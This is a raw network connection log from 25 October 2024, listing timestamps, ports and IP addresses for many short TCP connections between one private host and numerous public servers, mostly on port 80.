Oct 25, 2024 11:18:07.333921909 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.333924055 CEST	80	52808	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:07.333986044 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.334017992 CEST	52808	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.337479115 CEST	80	52801	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:07.339154959 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.339310884 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.344535112 CEST	80	52798	70.39.251.249	192.168.2.5
Oct 25, 2024 11:18:07.344609022 CEST	52798	80	192.168.2.5	70.39.251.249
Oct 25, 2024 11:18:07.355413914 CEST	52558	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:07.355699062 CEST	52816	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:07.362294912 CEST	80	52558	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:07.362380981 CEST	52558	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:07.362668991 CEST	80	52816	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:07.362668037 CEST	52817	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:07.362746000 CEST	52816	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:07.368108034 CEST	80	52817	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:07.368293047 CEST	52817	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:07.368418932 CEST	52817	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:07.373965025 CEST	80	52817	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:07.385318995 CEST	52816	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:07.387969017 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:07.392237902 CEST	80	52816	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:07.394035101 CEST	80	52805	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:07.394067049 CEST	80	52818	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:07.394095898 CEST	52805	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:07.394159079 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:07.394519091 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:07.400002003 CEST	80	52818	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:07.426203012 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.426280975 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.442014933 CEST	80	52781	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.442151070 CEST	52781	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.447184086 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.447218895 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.447246075 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.447253942 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.447278976 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.447305918 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.447510958 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.447545052 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.447578907 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.447597980 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.447629929 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.448249102 CEST	80	52794	118.27.125.181	192.168.2.5
Oct 25, 2024 11:18:07.448307991 CEST	52794	80	192.168.2.5	118.27.125.181
Oct 25, 2024 11:18:07.504923105 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.504952908 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.504987955 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505008936 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505008936 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505059004 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505089045 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505121946 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505137920 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505156040 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505167007 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505204916 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505618095 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505709887 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505729914 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505789995 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505925894 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505959988 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.505980968 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.505995035 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.506011009 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.506028891 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.506040096 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.506077051 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.506208897 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.506624937 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.506659031 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.506695032 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.506721020 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.506745100 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.506767988 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.506807089 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.507374048 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.507438898 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.507457972 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.507507086 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.511684895 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.511749029 CEST	52820	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:07.513016939 CEST	52821	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:07.515573025 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:07.515897036 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:07.518205881 CEST	80	52820	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:07.518306017 CEST	52820	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:07.518414021 CEST	52820	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:07.518642902 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.518898964 CEST	52823	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.519237041 CEST	80	52821	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:07.519347906 CEST	52821	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:07.519458055 CEST	52821	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:07.521542072 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:07.521616936 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:07.522891998 CEST	80	52555	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:07.522958994 CEST	52555	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:07.524840117 CEST	80	52820	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:07.525532007 CEST	52822	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:07.525625944 CEST	80	52823	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.525775909 CEST	52559	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:07.525809050 CEST	52823	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.526096106 CEST	52824	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:07.526246071 CEST	80	52821	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:07.526534081 CEST	52823	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.531380892 CEST	80	52822	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:07.531496048 CEST	80	52559	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:07.531524897 CEST	80	52824	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:07.531593084 CEST	52824	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:07.532099962 CEST	80	52823	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.535962105 CEST	52824	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:07.544008017 CEST	80	52824	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:07.546758890 CEST	80	52550	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.546839952 CEST	52550	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.547270060 CEST	52825	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.553395987 CEST	80	52825	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:07.553472042 CEST	52825	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.553622007 CEST	52825	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:07.559444904 CEST	80	52825	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:07.567312002 CEST	80	52801	80.93.82.33	192.168.2.5
Oct 25, 2024 11:18:07.567439079 CEST	52801	80	192.168.2.5	80.93.82.33
Oct 25, 2024 11:18:07.569971085 CEST	80	52811	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:07.570031881 CEST	52811	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:07.591265917 CEST	52826	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:07.594755888 CEST	52811	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:07.596704006 CEST	80	52826	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:07.598892927 CEST	52826	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:07.599225998 CEST	52826	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:07.600395918 CEST	80	52811	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:07.605431080 CEST	80	52826	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:07.639695883 CEST	52827	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.645509958 CEST	80	52827	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:07.645587921 CEST	52827	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.645741940 CEST	52827	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.651952028 CEST	80	52827	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:07.676783085 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.676814079 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.676848888 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.676867008 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.676867008 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.676928997 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.678488016 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.678522110 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.678558111 CEST	80	52793	59.106.19.204	192.168.2.5
Oct 25, 2024 11:18:07.678566933 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.678591967 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.678658009 CEST	52793	80	192.168.2.5	59.106.19.204
Oct 25, 2024 11:18:07.684025049 CEST	80	52809	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:07.684792042 CEST	52809	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:07.725286007 CEST	80	52811	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:07.725399017 CEST	52811	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:07.747915030 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.748059034 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.752012968 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.757592916 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.820619106 CEST	80	52815	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:07.820681095 CEST	52815	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.830559015 CEST	52815	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:07.836194038 CEST	80	52815	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:07.838609934 CEST	80	52814	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.838670969 CEST	52814	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.866520882 CEST	80	52814	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.866581917 CEST	52814	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.870831966 CEST	52814	80	192.168.2.5	3.19.116.195
Oct 25, 2024 11:18:07.876477957 CEST	80	52814	3.19.116.195	192.168.2.5
Oct 25, 2024 11:18:07.878984928 CEST	80	52806	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:07.879062891 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:07.879434109 CEST	80	52806	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:07.879605055 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:07.895684958 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:07.896007061 CEST	52830	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:07.901597023 CEST	80	52830	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:07.901709080 CEST	52830	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:07.902059078 CEST	80	52553	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:07.902121067 CEST	52830	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:07.904055119 CEST	52553	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:07.907849073 CEST	80	52830	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:07.995381117 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:07.995439053 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:07.995707989 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:07.998467922 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.007570028 CEST	80	52806	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.007872105 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.034601927 CEST	80	52817	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.034811020 CEST	52817	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.041579962 CEST	52831	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:08.042068958 CEST	52832	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.044990063 CEST	52557	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.045172930 CEST	52833	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.047498941 CEST	80	52831	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:08.047801971 CEST	52831	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:08.047902107 CEST	52831	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:08.047950029 CEST	80	52832	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.048048973 CEST	52832	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.048115015 CEST	52832	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.049362898 CEST	52579	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.049720049 CEST	52834	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.050899982 CEST	80	52833	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:08.050980091 CEST	52833	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.051273108 CEST	52833	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.054193974 CEST	80	52831	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:08.054544926 CEST	80	52832	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.054913044 CEST	80	52557	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:08.055100918 CEST	52557	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.055166006 CEST	80	52834	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:08.055238008 CEST	52834	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.055382013 CEST	52834	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.057447910 CEST	80	52833	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:08.060077906 CEST	80	52579	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:08.060138941 CEST	52579	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.061225891 CEST	80	52834	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:08.068655014 CEST	80	52817	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.068800926 CEST	52817	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.068800926 CEST	52817	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.074433088 CEST	80	52817	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.085136890 CEST	52835	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.092698097 CEST	80	52835	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.092900991 CEST	52835	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.093046904 CEST	52835	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.098685026 CEST	80	52835	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.161387920 CEST	80	52825	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:08.161442995 CEST	80	52825	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:08.161474943 CEST	52825	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:08.161494017 CEST	80	52825	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:08.161530018 CEST	80	52825	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:08.161546946 CEST	52825	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:08.161566019 CEST	80	52825	104.26.7.221	192.168.2.5
Oct 25, 2024 11:18:08.161632061 CEST	52825	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:08.161712885 CEST	52825	80	192.168.2.5	104.26.7.221
Oct 25, 2024 11:18:08.186161041 CEST	80	52823	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.186289072 CEST	52823	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.197580099 CEST	52838	25	192.168.2.5	142.251.168.27
Oct 25, 2024 11:18:08.203109980 CEST	80	52594	5.189.128.121	192.168.2.5
Oct 25, 2024 11:18:08.203195095 CEST	52594	80	192.168.2.5	5.189.128.121
Oct 25, 2024 11:18:08.204672098 CEST	80	52820	34.149.87.45	192.168.2.5
Oct 25, 2024 11:18:08.204754114 CEST	52820	80	192.168.2.5	34.149.87.45
Oct 25, 2024 11:18:08.215356112 CEST	80	52826	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:08.215423107 CEST	52826	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:08.220918894 CEST	52823	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.226710081 CEST	80	52823	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.232191086 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.237467051 CEST	52826	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:08.238393068 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.238600969 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.238758087 CEST	52839	80	192.168.2.5	104.26.15.53
Oct 25, 2024 11:18:08.239495039 CEST	80	52827	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:08.239675045 CEST	52827	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:08.241664886 CEST	52827	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:08.243930101 CEST	80	52826	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:08.244169950 CEST	80	52796	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.244329929 CEST	52796	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.245063066 CEST	80	52839	104.26.15.53	192.168.2.5
Oct 25, 2024 11:18:08.245755911 CEST	80	52816	89.161.163.246	192.168.2.5
Oct 25, 2024 11:18:08.246073961 CEST	52816	80	192.168.2.5	89.161.163.246
Oct 25, 2024 11:18:08.248173952 CEST	80	52827	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:08.307148933 CEST	52840	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:08.311285019 CEST	52574	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:08.311510086 CEST	52841	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:08.312755108 CEST	80	52840	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:08.313359976 CEST	52840	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:08.313473940 CEST	52840	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:08.316845894 CEST	80	52574	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:08.317013025 CEST	80	52841	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:08.317351103 CEST	52841	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:08.318145037 CEST	52841	80	192.168.2.5	60.43.154.138
Oct 25, 2024 11:18:08.319386959 CEST	80	52840	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:08.322247982 CEST	52842	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:08.323699951 CEST	80	52841	60.43.154.138	192.168.2.5
Oct 25, 2024 11:18:08.327951908 CEST	80	52842	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:08.328022957 CEST	52842	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:08.328248024 CEST	52842	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:08.335242987 CEST	80	52842	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:08.342413902 CEST	52843	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.347975969 CEST	80	52843	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.348603010 CEST	52843	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.348850965 CEST	52843	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.354541063 CEST	80	52843	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.357434988 CEST	80	52823	188.114.97.3	192.168.2.5
Oct 25, 2024 11:18:08.357583046 CEST	52823	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:18:08.366859913 CEST	80	52826	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:08.366925955 CEST	52826	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:08.398489952 CEST	80	52824	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:08.398647070 CEST	52824	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:08.408480883 CEST	80	52806	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.408538103 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:08.409503937 CEST	80	52806	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.409562111 CEST	52806	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:08.421277046 CEST	80	52818	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.421562910 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:08.423254013 CEST	80	52818	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.423512936 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:08.425354004 CEST	52824	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:08.430946112 CEST	80	52824	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:08.472079039 CEST	80	52821	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:08.472183943 CEST	52821	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:08.488151073 CEST	52818	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:08.493871927 CEST	80	52818	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:08.528021097 CEST	52845	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.535383940 CEST	80	52845	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:08.535523891 CEST	52845	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.536861897 CEST	52845	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:18:08.539174080 CEST	52846	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.539984941 CEST	52847	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:08.542618990 CEST	80	52845	13.248.252.114	192.168.2.5
Oct 25, 2024 11:18:08.545310974 CEST	80	52846	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:08.545408010 CEST	52846	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.545496941 CEST	52846	80	192.168.2.5	192.252.154.18
Oct 25, 2024 11:18:08.545747042 CEST	80	52847	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:08.545851946 CEST	52847	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:08.546515942 CEST	52847	80	192.168.2.5	34.218.204.173
Oct 25, 2024 11:18:08.551476002 CEST	80	52846	192.252.154.18	192.168.2.5
Oct 25, 2024 11:18:08.552026033 CEST	80	52847	34.218.204.173	192.168.2.5
Oct 25, 2024 11:18:08.555491924 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:08.555810928 CEST	52848	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:08.561279058 CEST	80	52569	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:08.561340094 CEST	52569	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:08.561487913 CEST	80	52848	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:08.561688900 CEST	52848	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:08.563555956 CEST	52848	80	192.168.2.5	141.193.213.11
Oct 25, 2024 11:18:08.569061995 CEST	80	52848	141.193.213.11	192.168.2.5
Oct 25, 2024 11:18:08.682435036 CEST	80	52824	62.122.190.121	192.168.2.5
Oct 25, 2024 11:18:08.682522058 CEST	52824	80	192.168.2.5	62.122.190.121
Oct 25, 2024 11:18:08.717261076 CEST	80	52830	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:08.717322111 CEST	52830	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:08.719041109 CEST	80	52832	54.161.222.85	192.168.2.5
Oct 25, 2024 11:18:08.719096899 CEST	52832	80	192.168.2.5	54.161.222.85
Oct 25, 2024 11:18:08.736819029 CEST	52830	80	192.168.2.5	139.59.171.124
Oct 25, 2024 11:18:08.742537022 CEST	80	52830	139.59.171.124	192.168.2.5
Oct 25, 2024 11:18:08.744024038 CEST	52571	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:08.744306087 CEST	52851	80	192.168.2.5	80.74.154.6
Oct 25, 2024 11:18:08.745543957 CEST	80	52834	192.252.154.18	192.168.2.5
